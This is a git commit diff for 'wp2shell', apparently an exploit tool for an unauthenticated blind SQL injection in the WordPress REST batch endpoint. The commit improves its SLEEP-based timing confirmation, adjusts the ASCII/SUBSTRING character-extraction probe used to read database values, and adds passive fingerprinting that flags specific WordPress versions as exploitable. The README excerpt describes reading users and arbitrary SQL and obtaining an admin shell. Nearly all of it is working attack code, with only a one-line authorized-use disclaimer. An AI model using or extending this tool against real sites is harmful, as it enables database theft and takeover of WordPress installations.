Added passive WordPress version checks

This commit is contained in:
Icex0
2026-07-18 01:32:06 +02:00
parent 521d0f04c6
commit 1742aa3d19
5 changed files with 257 additions and 11 deletions
+7 -2
View File
@@ -62,7 +62,11 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`.
### check — confirm the vulnerability (safe)
Confirms exploitability with a differential time delay. It reads no data and changes nothing.
Confirms exploitability with paired differential time delays. It reads no data and changes
nothing. By default it sends three baseline/delayed pairs and decides on the median delta, which
is more reliable on noisy or rate-limited targets than a single timing comparison. If timing
confirmation fails, `check` also looks for passive public WordPress version hints from the REST API
generator, the homepage generator meta tag, and core asset `?ver=` query strings.
```
./wp2shell.py check http://target
@@ -97,6 +101,7 @@ path. Remove it when finished.
| `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). |
| `--timeout N` | all | Request timeout in seconds. |
| `--sleep N` | check | Delay used to confirm the injection. |
| `--samples N` | check | Baseline/delayed timing pairs to compare (default 3). |
| `--preset` | read | `fingerprint` or `users`. |
| `--query` | read | A scalar SQL expression to read. |
| `--prefix` | read | Database table prefix (default `wp_`). |
@@ -114,7 +119,7 @@ endpoint via the `rest_pre_dispatch` filter.
## Legal
For authorized security testing only. Use it exclusively against systems you own or have explicit
written permission to test. The author accepts no liability for misuse.
written permission to test. No warranty is provided and no liability is accepted for misuse.
## References
+40 -4
View File
@@ -11,6 +11,7 @@ from . import __version__
from .client import BatchClient
from .shell import AdminSession
from .sqli import BlindSQLi
from .version import public_version_hints
try:
import readline # noqa: F401 - enables line editing/history for the interactive prompt
@@ -62,6 +63,26 @@ def _client(args: argparse.Namespace) -> BatchClient:
)
def _short(text: str, *, limit: int = 96) -> str:
if len(text) <= limit:
return text
return text[: limit - 3] + "..."
def _print_version_hints(client: BatchClient) -> None:
hints = public_version_hints(client)
if not hints:
warn("No public WordPress version hints found.")
return
info("Public WordPress version hints:")
for hint in hints:
status = "affected range" if hint.affected else "not in affected ranges"
print(f" - {hint.version} via {hint.source} ({status}) - {_short(hint.detail)}")
if any(hint.affected for hint in hints):
warn("A public version hint falls in the affected range; verify internally or confirm with authorization.")
# -- commands ---------------------------------------------------------------
@@ -76,14 +97,23 @@ def cmd_check(args: argparse.Namespace) -> int:
probe = client.probe()
if probe.status != 207:
bad(f"Batch endpoint returned HTTP {probe.status} (not 207) — patched or REST API disabled.")
_print_version_hints(client)
return 1
good("Batch endpoint reachable and unauthenticated (HTTP 207).")
confirmed, baseline, delayed = BlindSQLi(client, sleep=args.sleep).confirm()
if confirmed:
good(f"VULNERABLE — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
if args.samples > 1:
details = ", ".join(
f"{base:.2f}s->{delay:.2f}s" for base, delay in result.samples
)
info(f"Timing samples: {details}")
info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
if result.confirmed:
good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
_print_version_hints(client)
return 0
bad(f"Not vulnerable — baseline {baseline:.2f}s, injected {delayed:.2f}s.")
bad(f"Not vulnerable — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
_print_version_hints(client)
return 2
@@ -224,6 +254,12 @@ def build_parser() -> argparse.ArgumentParser:
check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
_add_common(check)
check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
check.add_argument(
"--samples",
type=int,
default=3,
help="baseline/delayed timing pairs for confirmation (default: 3)",
)
check.set_defaults(func=cmd_check)
read = sub.add_parser("read", help="read from the database via blind SQL injection")
+18
View File
@@ -75,6 +75,24 @@ class BatchClient:
raise TargetError(f"cannot reach {self.endpoint}: {reason}") from None
return Response(status, time.monotonic() - start, body)
def get(self, path: str) -> Response:
url = self.base_url + (path if path.startswith("/") else f"/{path}")
request = urllib.request.Request(
url,
method="GET",
headers={"User-Agent": self.user_agent},
)
start = time.monotonic()
try:
resp = self._opener.open(request, timeout=self.timeout)
status, body = resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
status, body = exc.code, exc.read().decode("utf-8", "replace")
except OSError as exc: # URLError, connection refused, timeout, DNS failure
reason = getattr(exc, "reason", exc)
raise TargetError(f"cannot reach {url}: {reason}") from None
return Response(status, time.monotonic() - start, body)
def probe(self) -> Response:
"""A benign empty batch, used to test whether the endpoint is reachable and open."""
return self.post({"requests": []})
+48 -5
View File
@@ -9,6 +9,8 @@ so a value of ``0) <sql>-- -`` closes the IN() list and appends arbitrary SQL.
from __future__ import annotations
import statistics
from dataclasses import dataclass
from typing import Callable, Optional, Tuple
from .client import BatchClient
@@ -17,6 +19,16 @@ _MIN_PRINTABLE = 32
_MAX_PRINTABLE = 126
@dataclass
class TimingConfirmation:
confirmed: bool
baseline: float
delayed: float
delta: float
threshold: float
samples: Tuple[Tuple[float, float], ...]
class BlindSQLi:
def __init__(self, client: BatchClient, *, sleep: float = 3.0) -> None:
self.client = client
@@ -29,10 +41,40 @@ class BlindSQLi:
Returns ``(confirmed, baseline_seconds, delayed_seconds)``. This reads no database
content and modifies nothing.
"""
baseline = self._elapsed("SLEEP(0)")
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
confirmed = (delayed - baseline) >= (self.sleep - 1.0)
return confirmed, baseline, delayed
result = self.confirm_timing(samples=1)
return result.confirmed, result.baseline, result.delayed
def confirm_timing(self, *, samples: int = 3) -> TimingConfirmation:
"""Confirm injectability with paired timing samples.
Network jitter makes a single baseline/delayed pair brittle, so this alternates
baseline and delayed requests and compares median paired deltas.
"""
if samples < 1:
raise ValueError("samples must be at least 1")
pairs = []
for _ in range(samples):
baseline = self._elapsed("SLEEP(0)")
delayed = self._elapsed(f"SLEEP({self.sleep:g})")
pairs.append((baseline, delayed))
baselines = [pair[0] for pair in pairs]
delayed = [pair[1] for pair in pairs]
deltas = [delay - base for base, delay in pairs]
baseline_median = statistics.median(baselines)
delayed_median = statistics.median(delayed)
delta_median = statistics.median(deltas)
threshold = max(0.75, self.sleep * 0.65)
confirmed = delta_median >= threshold
return TimingConfirmation(
confirmed=confirmed,
baseline=baseline_median,
delayed=delayed_median,
delta=delta_median,
threshold=threshold,
samples=tuple(pairs),
)
def extract(
self,
@@ -44,7 +86,8 @@ class BlindSQLi:
"""Read a string-valued SQL expression one character at a time (binary search)."""
chars = []
for position in range(1, max_length + 1):
probe = f"ASCII(SUBSTRING(({expression}),{position},1))"
# COALESCE keeps a NULL result from short-circuiting into an empty read.
probe = f"ASCII(SUBSTRING(COALESCE(({expression}),''),{position},1))"
if not self._true(f"{probe} > 0"):
break
low, high = _MIN_PRINTABLE, _MAX_PRINTABLE
+144
View File
@@ -0,0 +1,144 @@
"""Passive WordPress version hints from public resources."""
from __future__ import annotations
import json
import re
import urllib.parse
from dataclasses import dataclass
from html.parser import HTMLParser
from typing import Iterable, Optional, Tuple
from .client import BatchClient, TargetError
_WORDPRESS_RE = re.compile(r"\bWordPress\s+([0-9]+(?:\.[0-9]+){1,3})\b", re.I)
_VERSION_RE = re.compile(r"\b([0-9]+(?:\.[0-9]+){1,3})\b")
@dataclass(frozen=True)
class VersionHint:
version: str
source: str
detail: str
affected: bool
class _HomepageParser(HTMLParser):
def __init__(self) -> None:
super().__init__()
self.meta_generators = []
self.assets = []
def handle_starttag(self, tag: str, attrs: Iterable[Tuple[str, Optional[str]]]) -> None:
values = {name.lower(): value for name, value in attrs if value is not None}
if tag.lower() == "meta" and values.get("name", "").lower() == "generator":
content = values.get("content")
if content:
self.meta_generators.append(content)
return
if tag.lower() in ("link", "script"):
asset = values.get("href") or values.get("src")
if asset:
self.assets.append(asset)
def public_version_hints(client: BatchClient) -> Tuple[VersionHint, ...]:
hints = []
seen = set()
def add(version: Optional[str], source: str, detail: str) -> None:
if not version:
return
key = (version, source)
if key in seen:
return
seen.add(key)
hints.append(
VersionHint(
version=version,
source=source,
detail=detail,
affected=is_affected_version(version),
)
)
for path, source in (
("/wp-json/", "REST API generator"),
("/?rest_route=/", "REST API generator (?rest_route=/)"),
):
response = _get(client, path)
if response is None or response.status >= 400:
continue
try:
body = response.json()
except json.JSONDecodeError:
continue
if isinstance(body, dict):
generator = body.get("generator")
if isinstance(generator, str):
add(_version_from_generator(generator), source, generator)
response = _get(client, "/")
if response is not None and response.status < 400:
parser = _HomepageParser()
parser.feed(response.body)
for generator in parser.meta_generators:
add(_version_from_wordpress_text(generator), "HTML generator meta", generator)
for asset in parser.assets:
add(_version_from_core_asset(asset), "core asset query string", asset)
return tuple(hints)
def is_affected_version(version: str) -> bool:
parsed = _parse_version(version)
if parsed is None:
return False
return (6, 9, 0) <= parsed <= (6, 9, 4) or (7, 0, 0) <= parsed <= (7, 0, 1)
def _get(client: BatchClient, path: str):
try:
return client.get(path)
except TargetError:
return None
def _version_from_generator(value: str) -> Optional[str]:
parsed = urllib.parse.urlparse(value)
for version in urllib.parse.parse_qs(parsed.query).get("v", []):
normalized = _normalize_version(version)
if normalized:
return normalized
return _version_from_wordpress_text(value)
def _version_from_wordpress_text(value: str) -> Optional[str]:
match = _WORDPRESS_RE.search(value)
return _normalize_version(match.group(1)) if match else None
def _version_from_core_asset(value: str) -> Optional[str]:
parsed = urllib.parse.urlparse(value)
if "/wp-includes/" not in parsed.path and "/wp-admin/" not in parsed.path:
return None
for version in urllib.parse.parse_qs(parsed.query).get("ver", []):
normalized = _normalize_version(version)
if normalized:
return normalized
return None
def _normalize_version(value: str) -> Optional[str]:
match = _VERSION_RE.search(value)
return match.group(1) if match else None
def _parse_version(version: str) -> Optional[Tuple[int, int, int]]:
normalized = _normalize_version(version)
if not normalized:
return None
parts = [int(part) for part in normalized.split(".")]
while len(parts) < 3:
parts.append(0)
return tuple(parts[:3])